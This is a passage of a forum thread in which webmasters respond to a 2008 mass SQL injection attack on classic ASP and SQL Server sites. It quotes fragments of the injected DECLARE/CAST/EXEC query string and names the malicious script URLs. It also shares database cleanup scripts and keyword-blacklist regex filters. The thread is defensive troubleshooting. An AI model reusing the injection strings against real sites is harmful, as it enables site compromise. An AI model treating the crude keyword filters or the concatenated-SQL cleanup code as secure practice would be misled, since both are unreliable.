homepage Welcome to WebmasterWorld Guest from 54.204.77.26
register, free tools, login, search, subscribe, help, library, announcements, recent posts, open posts,
Subscribe to WebmasterWorld

Home / Forums Index / Code, Content, and Presentation / Databases
Forum Library, Charter, Moderators: physics

Databases Forum

This 78 message thread spans 3 pages: < < 78 ( 1 [2] 3 > >     
Sql Injection virus problem.
Virus, Sql Injection.
shoppingsurat




msg:3657202
 10:02 am on May 23, 2008 (gmt 0)

Hi Friends, we have a website and we have constanly been attacked by virus. A malicious script enters into sql server database and stops the site.
can any one please suggest us how we can prevent it. I changed some script but that did not help too. I think it is going from our search field. <script>......</script> and inside website name enters into every fields of sql .Please help!

Thanks,
Umar Rahman

[edited by: jatar_k at 12:03 pm (utc) on May 23, 2008]
[edit reason] no urls thanks [/edit]

 

webdudek




msg:3660016
 4:16 pm on May 27, 2008 (gmt 0)

all input should be sanitized and verified

The thing is, most website use software that wasn't developed in house.
WordPress is a good example, it is installed on so many websites, and there is no way for you as a webmaster to sanitize the code and make sure it is safe. Every now and then a new vulnerability is discovered and if you don't scan it on a regular basis, there is no way for you to know about it before it is too late.
If you run your own code, then safe programming is the answer.
If someone else wrote it, Vulnerability Scanning System can help.

ebouwsema




msg:3660047
 4:42 pm on May 27, 2008 (gmt 0)

The thing is, most website use software that wasn't developed in house.

I agree, we ran into the same problem - what we did though was scan through the code looking for (ASP/VBScript Site) "Request.Form" and "Request.Querystring" to see where they were accepting input and made sure that we were sanitizing the input at those locations. It's not ideal, and it feels like a bit of a hack, but it has worked quite well. Also, we approached the original author for fixes - though in our case we didn't get results.

We are in the future going to move to our own application, which we know is secure, but for now this has worked. And I wholeheartedly agree that getting a vulnerability scan is worth it as well, even if you wrote your own code.

Zaphod Beeblebrox




msg:3660058
 4:50 pm on May 27, 2008 (gmt 0)

Since I mistakenly tried to link to it, here's the code I used to fix my database. It's not perfect (by a long shot) and undoubtedly needs modifications, but it's a reasonable base, I hope.

The code tags unfortunately do not respect spaces and tabs, so - tough luck.

PS no guarantees - if it messes things up, don't call me!

<%
Response.Write "Connecting to database<br>"
Server.ScriptTimeout = 300
Dim objDb
Set objDb = Server.CreateObject("ADODB.COnnection")
'Modify the connectionstring below to fit your situation
objDb.ConnectionString = "Provider=MSDatashape; Data Provider=SQLOLEDB;Network Library=DBMSSOCN;Server={Your server};Database={Your database};UID={Your login};PWD={Your password}"
objDb.Open
Response.Write "Finding tables<br>"
'The query below returns all tables and views owned by 'dbo'
Set objTables = objDb.Execute("exec sys.sp_columns '%', 'dbo'")
'The variable Bad contains the piece of junk you want to remove
Bad = "<script src=http://www.adw95.com/b.js></script>"
CurTable = ""
Response.Write "Starting fix<br>"
While Not objTables.EOF
strT = objTables("TABLE_NAME")
'All the tables in my database start with 'tbl', and the ones starting with 'tbl_' can be skipped.
'Modify these conditions for your specific situation
If Left(strT, 3) = "tbl" And NOT Mid(strT, 4, 1) = "_" Then
strF = objTables("COLUMN_NAME") 'The name of the field
strType = objTables("TYPE_NAME")'The type of the field
If Not strT = CurTable Then
Identity = ""
Sep = ""
CurTable = strT
End If
Select Case strType
'varchar and nvarchar fields can be fixed by using a simple 'REPLACE'
Case "varchar", "nvarchar"
Set objC = objDb.Execute("SELECT COUNT(*) AS Aantal FROM " & strT & " WHERE " & strF & " LIKE '%" & Bad & "%'")
'Make sure we don't try to update the same table twice in case of a timeout
If objC("Aantal") > 0 Then
Response.Write "Fixing " & strT & "." & strF & " (" & objC("Aantal") & " records)..."
SQL = "UPDATE " & strT & " SET " & strF & " = REPLACE(" & strF & ", '" & Bad & "', '')"
objDb.Execute SQL
Response.Write "Done<br>" & vbCrlf
End If
objC.Close
Set objC = Nothing
Case "text", "ntext"
'Text and ntext fields cannot be REPLACEd, so we'll have to get every single record, and update it
'For this we need a unique field with which we can identify the record
'In my database it's either the 'int identity' or the first field in the record.
'For the value of Identity see below
'Aantal is dutch for 'number'
Set objC = objDb.Execute("SELECT COUNT(*) AS Aantal FROM " & strT & " WHERE " & strF & " LIKE '%" & Bad & "%'")
'Make sure we don't try to update the same table twice in case of a timeout
If objC("Aantal") > 0 Then
Response.Write "Fixing " & strT & "." & strF & " (" & objC("Aantal") & " records)..."
SQL = "SELECT " & Identity & ", " & strF & " FROM " & strT & " WHERE " & strF & " LIKE '%" & Bad & "%'"
Set objR = objDb.Execute (SQL)
While Not objR.EOF
strTekst = objR(strF)
strTekst = Replace(strTekst, Bad, "")
SQL = "UPDATE " & strT & " SET " & strF & "='" & Replace(strTekst, "'", "''") & "' WHERE " & Identity & "=" & Sep & Replace(objR(Identity), "'", "''") & Sep
objDb.Execute SQL
objR.Movenext
Wend
Response.Write "Done<br>" & vbCrlf
End if
objC.Close
Set objC = Nothing
Case "int identity"
'Must be the identity field
Identity = strF
Case "int", "decimal"
'If no Identity found, assume first field is the identifier
If Identity = "" Then Identity = strF
Case Else
'Response.Write "Skipping " & strT & "." & strF & " (" & strType & ")<br>"
End Select
If Identity = "" Then
Identity = strF
Sep = "'"
End If
Else
'Response.Write "Skipping " & strT & "<br>"
End If
objTables.Movenext
Wend
objTables.Close
Set objTables = Nothing
objDb.Close
Set objDb = Nothing
Response.Write "Fix complete<br>"
%>[/code]

[edited by: Zaphod_Beeblebrox at 4:51 pm (utc) on May 27, 2008]

topr8




msg:3660085
 5:34 pm on May 27, 2008 (gmt 0)

>>Is this only occuring in text fields?

no, this particular injection is using a ";" which for sqlserver is an end of statement marker, after the ";" it is then basically running a bunch of queries that then populate text fields in the database with the html of the js include.

mmbench




msg:3660232
 7:52 pm on May 27, 2008 (gmt 0)

I saw this problem beginning on Friday 5/23. I've cleaned everything up and verified the code. However - any tips for finding the injection in the web log files? I've looked at every active web server we have and can't find anything.

pageoneresults




msg:3660241
 8:00 pm on May 27, 2008 (gmt 0)

Let's say for example that I catch the IP address of a box that is propogating this attack, is there anywhere useful that I should forward this information?

StopBadware.org
[stopbadware.org...]

StopBadware.org is a partnership between top academic institutions, technology industry leaders, and volunteers committed to protecting Internet and computer users from threats to their privacy and security caused by bad software.

If you've been unfortunate to have been tagged by Google as being a potential "Badware" website, you will most likely end up at this page...

Request for Review Information
[stopbadware.org...]

ebouwsema




msg:3660245
 8:06 pm on May 27, 2008 (gmt 0)

any tips for finding the injection in the web log files?

If you have analytics that can show you a large amount of hits at one time (within a matter of minutes, even seconds) that will usually limit it down - the bot seems to hit quite quickly in a series of requests - more than a user or even a normal search engine would crawl. Also, if you know where they might have exploited your site, look for requests to that page, that will usually limit it down. We found that there was often a common string/word in the request (for the SQL attack) and grep-ing for that string limited it down quite a bit - though it returned a whole lot of data so only so useful :-).

hughie




msg:3660289
 8:58 pm on May 27, 2008 (gmt 0)

Sounds like a straight forward SQL injection, so if you're looking after your data input properly then you should have nothing to worry about.

And (i think i'm correct in saying this, but good if someone could clarify) anyone with magic_quotes turned on in php should be ok as well, even if they're not escaping input properly.....

Balle




msg:3660330
 9:50 pm on May 27, 2008 (gmt 0)

My website got it too - this is the second time within a couple weeks :-(

andy1




msg:3660362
 10:45 pm on May 27, 2008 (gmt 0)

I've found the culprit in my log files!

Try doing a search for "DECLARE" in your log files to see how it got in.

I won't paste it all in but it contained the following:-

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x... [lots of hex here]%20AS%20VARCHAR(4000));EXEC(@S);

I've converted the hex to ascii but just to show a snippet:-

DECLARE @T VARCHAR(255)'@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT...

The cheeky monkeys!

Anyway, ASP code fixed and locked down... until next time! lol

Thanks for all your quick help today guys. :)

topr8




msg:3660388
 11:22 pm on May 27, 2008 (gmt 0)

andy1 :)

i posted the code that was being used for this, several posts back in this thread!

andy1




msg:3660389
 11:24 pm on May 27, 2008 (gmt 0)

Is it possible to disable access to the following views?:-

sysobjects
syscolumns

e.g. tempdb - Views - System Views - sys.syscolumns

As that's where it looks like the exploit has found the table names and all the columns to loop through and append.

andy1




msg:3660396
 11:31 pm on May 27, 2008 (gmt 0)

topr8, alright I noob'ed up!

I did see your earlier post, but didn't fully understand it. Now however, after decrypting/encrypting to hex/ascii for myself for the last couple of hours, I now understand it.

Plus mine includes decrypted and encrypted examples just in case anyone else is stuck with it. Plus it can only help Google searches to this thread ;)

Thanks though I'm just happy I've fixed it at last! :)

dataguy




msg:3660516
 4:03 am on May 28, 2008 (gmt 0)

Ok, so we are clear on this, I verify that all input numbers are actual numbers and I double all apostrophies in my text inputs. Does this or does this not mean I'm safe from this attack?

jatar_k




msg:3660527
 4:15 am on May 28, 2008 (gmt 0)

you need to verify all input, everything you receive from a source other than yourself

you should test all of this data and make sure it is the type that it is supposed to be

if something is wrong with data, don't fix it, send it back to the user to correct or refuse it, depending on where it happens

make sure your scripts don't spit out verbose error messages that an intruder can then use to reverse engineer queries

there's so much more but that should cover a few basics

this thread is fairly good and the basic principles can apply to any language thought this focuses on php
PHP Security [webmasterworld.com]

vincevincevince




msg:3660610
 7:19 am on May 28, 2008 (gmt 0)

In general, it is best to validate general input text-type fields against allowed lists of characters, e.g. A-Z, a-z, 0-9, .,-' and space. If it contains a character other than those, reject it.

TravelSite




msg:3660665
 9:12 am on May 28, 2008 (gmt 0)

Sorry if this is a daft questions... does replacing all " ' " characters in your form input counter this, or does the semi colon ";" get around that?

andy1




msg:3660672
 9:30 am on May 28, 2008 (gmt 0)

TravelSite, I'd make sure the semi colon is not allowed to be submitted too.

Look at the example I posted above (and topr8's ;) ), you'll see the semi-colon's are in the attack code.

dataguy




msg:3661056
 4:55 pm on May 28, 2008 (gmt 0)

There sure is a lot of misinformation being passed around about this exploit over the net. Maybe for the purposes of this thread we should decide if we are talking about sql injection attacks in general or this specific "nihaorr1.com" attack. This specific attack is targeting classic asp pages which connect to an MS SQL Server database. Giving information about how to prevent sql injections into a php page has very little to do with preventing this attack.

I should also point out that it doesn't help anyone to wrinkle up your nose and scoff at those who don't have 100% perfect code. Many of our web sites have been written before anyone in the world had dreamed up such exploits, when 'best practices' didn't include protection against these attacks. My sites have at least 4 layers of protection that as far as I can tell, will protect them against this attack, but still I was still up all night last night checking my sites for vulnerabilities. Even the phd's at Google apparently have problems knowing when to escape special characters as it is common to come across the text "don/'t" on their instructional pages.

The best source I've found for good information about this particular attack is at [forums.iis.net...]

A brief overview of what is discussed there:

* This attack starts with the attacking bot finding pages ending in .asp in Google.
* While the SQL injection method is common, the command is pretty advanced, iterating through every table and every field in each table, trying to appending the javascript code which then appears in the web sites pages and attempts to load several virus-laden pages through the web surfers browser.
* It appears that the injection appears in the querystring, so evidence of an attack attempt can be seen in standard server log files.
* Standard protection against SQL injection does work (I won't repeat them here), though there are some reports of infected databases through stored procedures, which I've never heard of before.

A few new ideas on protection against this attack are:
* Denying "SELECT" on the syscolumns and sysobjects system tables. This will prevent the bot from iterating through each table and field. Permission to do a SELECT on these system tables are given by default on SQL Server, though it is rare that any site would need this.
* There are a few suggestions for running an include file at the beginning of each asp page which loops through all request and server variables and checks for the phrase "DECLARE". If this phrase is found, it transfers to a different blank or possibly static page. You could also search for a few other common query phrases like EXEC, INSERT, DELETE, ;--, ';, varchar, syscolumns, etc. This seems to be a good quick and dirty way to protect a site against SQL injection attack until the holes are fixed properly.

I hope this all makes sense, I haven't had much sleep lately ;)

wingnut




msg:3661165
 6:27 pm on May 28, 2008 (gmt 0)

I had this very same probelm last Thursday. The site that was under attack used asp/ms sql server.
I used two methods to apply a temporary fix. As already mentioned I am now going through the site and changing any dynamic sql to stored proceedures.

1. To clean the database I used the following stored proccedure:

CREATE PROC SearchAndReplace
(
@SearchStr nvarchar(100),
@ReplaceStr nvarchar(100)
)
AS
BEGIN

-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string and replace it with another string
-- Written by: Narayana Vyas Kondreddi
- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 2nd November 2002 13:50 GMT

SET NOCOUNT ON

DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
SET @RCTR = 0

WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
ANDQUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
ANDOBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)

WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA= PARSENAME(@TableName, 2)
ANDTABLE_NAME= PARSENAME(@TableName, 1)
ANDDATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
ANDQUOTENAME(COLUMN_NAME) > @ColumnName
)

IF @ColumnName IS NOT NULL
BEGIN
SET @SQL='UPDATE ' + @TableName +
' SET ' + @ColumnName
+ ' = REPLACE(' + @ColumnName + ', '
+ QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') +
') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
EXEC (@SQL)
SET @RCTR = @RCTR + @@ROWCOUNT
END
END
END

SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END
Open in New Window

To run pop a new query window and type Exec SearchAndReplace '<script src=http://www.example.com/b.js></script>',''

2. Then inserted a function within an include file for every page that checks any query strings against a regular expression

<%
' this creates a global regexp object g_bl for testing strings against sql injection
dim g_bl, strURLRequest
set g_bl = New RegExp
g_bl.Pattern = "example¦xp_¦;¦--¦/\*¦<script¦</script¦ntext ¦nchar¦varchar ¦nvarchar ¦alter¦begin ¦create¦cursor¦declare ¦delete ¦drop¦exec¦execute ¦fetch¦insert ¦kill¦open¦sys¦sysobjects¦syscolumns¦table¦update"
g_bl.IgnoreCase = true
g_bl.Multiline = true

If Request.ServerVariables("QUERY_STRING") <> "" Then
strURLRequest= Request.ServerVariables("QUERY_STRING")
If g_bl.test(strURLRequest) Then
Response.Redirect("index.asp")
End IF
End IF

%>

[edited by: jatar_k at 9:42 pm (utc) on May 28, 2008]

blend27




msg:3661458
 12:29 am on May 29, 2008 (gmt 0)

wingnut,

add <IFRAME¦<FRAME¦<OBJECT to g_bl.Pattern list and you are in bussiness!

jsherrod




msg:3662219
 7:28 pm on May 29, 2008 (gmt 0)

Topr8 described the exact string we saw:
?productID=10;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004 [+ hundreds more characters]

What we saw was that the database tables were dropped and repopulated exactly as they were before the attack - except a malicious script was added to the end of the field element. This is Mr. Nasty:
www (dot) killwow1(dot)cn/g (dot) js

(dot) = .

If left alone, Google perceives your site as one that is installing malware and they just remove you.

We had to clean the database - essentially decrypting the hexadecimal statement that was used for the inject and then reversing its action.

The moral of the story is to use stored procs. But since it is using the QS to inject a declare statement, an immediate defense for this attack would be to check QS for invalid characters ("<", ">", etc.) and the word "declare". If you find them, response.end and kill the page. But you have to clean the DB.

Good luck.

topr8




msg:3662354
 10:13 pm on May 29, 2008 (gmt 0)

i know we don't normally give book recommendations here but:
o'reilly essential php security is only a small one ... and yes, i know this exploit affected sql server and classic asp ...

however the book is more about principles than anything else. i'm not really a php person and i understood what it was all about.

essentially he talks about layers of security (just as dataguy mentions above) the author strongly emphasises:
a). the need to clean all untrusted data (if you are going to use it) - which is basically EVERYTHING that isn't hand coded into the page. querystrings, form values, cookie values, even http headers
b). set permissions at a minimum - if a user only needs to SELECT from a table then take away permissions for UPDATE, DELETE, INSERT etc. ... ideally let the user have exec permissions on stored procs and NO actual permissions on tables themselves.

topr8




msg:3662357
 10:18 pm on May 29, 2008 (gmt 0)

>>The moral of the story is to use stored procs. But since it is using the QS to inject a declare statement, an immediate defense for this attack would be to check QS for invalid characters ("<", ">", etc.) and the word "declare". If you find them, response.end and kill the page. But you have to clean the DB.

especially in this case the ; character is an essential part of the injection method.

so as jsherrod states, for an quick patch check all querystrings for DECLARE and ; ... but also in this case the querystring that is passed is 100s of characters long, so you could just test the length and if it is longer than you would expect kill the page.

UrsB




msg:3662823
 1:35 pm on May 30, 2008 (gmt 0)

Thanks a lot to wingnut for the RegExp-Expression :)

I had to change it a little though (maybe, because I'm using an ancient ASP-Version?).

wingnut uses the «¦»-Sign to separate the values in the regex - which didn't work for me - I exchanged it with «¦» (Pipe) which did the job...

I would also like to know if theres a smiliar way to sanitize POST-Vars like this?
In PHP, I could simply run through all the key/var-pairs in the $_POST-Array ... how would I do this in ASP?

Thanks a lot for your help...

wingnut




msg:3662851
 2:22 pm on May 30, 2008 (gmt 0)

To check a form post (classic asp) you would need to iterate through the form collection see below. Note on response submission the pipe character becomes ¦ 8)

<%

dim g_bl
set g_bl = New RegExp
g_bl.Pattern = "banner82¦xp_¦;¦--¦/\*¦<script¦</script¦ntext¦nchar¦varchar¦nvarchar¦alter¦begin¦create ¦cursor¦declare¦delete ¦drop¦exec ¦execute¦fetch ¦insert¦kill¦open ¦sys ¦sysobjects ¦syscolumns¦table¦update"
g_bl.IgnoreCase = true
g_bl.Multiline = true

If CSTR(Request("hiddenfieldname")) <> "" Then
For Each item in Request.Form
If g_bl.test(Request.Form(item)) Then
'action here if true
Response.Redirect("url")
End IF
Next
'add action here if form ok
End IF

%>

edacsac




msg:3662893
 3:04 pm on May 30, 2008 (gmt 0)

"(BAD BAD BAD DON'T DO IT)
mysql_query("SELECT * FROM table WHERE id=" . $_GET[id]); "

I use this style of select all the time, but before $_GET or $_POST vars end up in a query, I iterate through both arrays with a common function that strips, cleans and where nessecarry allows arguments for custom stripping.

UrsB




msg:3662926
 3:47 pm on May 30, 2008 (gmt 0)

Thanks wingnut - very helpful!

After I submitted my reply, I saw that my pipe became the same char like in your post... I love Bulletin-Boards :)

Fundi




msg:3663708
 4:46 pm on May 31, 2008 (gmt 0)

I am using Narayana Vyas Kondreddi medhod wingnut posted here (thanks wingnut)
I was able to clean almost all my data except some of my data consist of ntext data type, is anyone here can help, how to modify this stored procedure to support ntext data type
Thanks in advance

fm_notaware




msg:3663712
 4:51 pm on May 31, 2008 (gmt 0)

wingnut thanks for the solution that you have shown.
My site was attacked twice in a row by the spammer and i found the solution you have given very practical .. to redirect the page containing harmful query ...
Now the problem is i don't understand few terms like regexp and pipe character.. Please explain in more detail how to do it.

Fundi




msg:3663807
 7:41 pm on May 31, 2008 (gmt 0)

For those who have the same issue as myself, here is what I did, if that can help anyone

First I used Narayana Vyas Kondreddi medhod posted above and then for remaining ntext data type I went through all the table with that kind field and did it one by one using the following statement,

Update <dbTable>
set <tbField> = replace (cast(tbField as nvarchar(4000)), '<spamstr>', '')

This 78 message thread spans 3 pages: < < 78 ( 1 [2] 3 > >
Global Options:
 top home search open messages active posts  
 

Home / Forums Index / Code, Content, and Presentation / Databases
rss feed

All trademarks and copyrights held by respective owners. Member comments are owned by the poster.
Home ¦ Free Tools ¦ Terms of Service ¦ Privacy Policy ¦ Report Problem ¦ About ¦ Library ¦ Newsletter
WebmasterWorld is a Developer Shed Community owned by Jim Boykin.
© Webmaster World 1996-2014 all rights reserved